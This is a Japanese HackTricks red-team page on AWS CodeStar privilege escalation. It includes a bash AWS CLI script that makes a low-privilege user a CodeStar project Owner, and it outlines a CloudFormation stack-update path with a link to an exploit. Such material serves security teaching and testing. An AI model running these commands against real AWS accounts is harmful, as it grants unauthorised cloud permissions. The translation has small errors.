AWS - Codestar Privesc

Reading time: 5 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Codestar

Codestarに関する詳細情報は以下で確認できます:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

これらの権限を使用すると、cloudformationテンプレートを介して任意のアクションを実行するためにcodestar IAMロールを悪用できます。次のページを確認してください:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

この手法は、codestar:CreateProjectを使用してcodestarプロジェクトを作成し、codestar:AssociateTeamMemberを使用してIAMユーザーを新しいCodeStar プロジェクト所有者にすることで、いくつかの追加権限を持つ新しいポリシーを付与します。

bash
PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

もしあなたがすでにプロジェクトのメンバーであれば、権限**codestar:UpdateTeamMemberを使用して役割をオーナー**に更新することができます。codestar:AssociateTeamMemberの代わりに。

潜在的な影響: codestarポリシーへのプライベートエスカレーション。以下にそのポリシーの例を見つけることができます:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. 新しいプロジェクトを作成:
  • **codestar:CreateProjectFromTemplate**アクションを利用して新しいプロジェクトの作成を開始します。
  • 成功裏に作成されると、**cloudformation:UpdateStack**へのアクセスが自動的に付与されます。
  • このアクセスは、CodeStarWorker-<generic project name>-CloudFormation IAMロールに関連付けられたスタックを特に対象としています。
  1. ターゲットスタックを更新:
  • 付与されたCloudFormation権限を使用して、指定されたスタックを更新します。
  • スタックの名前は通常、次の2つのパターンのいずれかに従います:
  • awscodestar-<generic project name>-infrastructure
  • awscodestar-<generic project name>-lambda
  • 正確な名前は選択したテンプレートに依存します(例のエクスプロイトスクリプトを参照)。
  1. アクセスと権限:
  • 更新後、スタックにリンクされたCloudFormation IAMロールに割り当てられた機能を取得します。
  • 注意: これは本質的に完全な管理者権限を提供するものではありません。権限をさらに昇格させるためには、環境内の追加の誤設定されたリソースが必要になる場合があります。

詳細については、元の研究を確認してください: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/
エクスプロイトはhttps://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.pyで見つけることができます。

潜在的な影響: cloudformation IAMロールへのプライベートエスカレーション。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする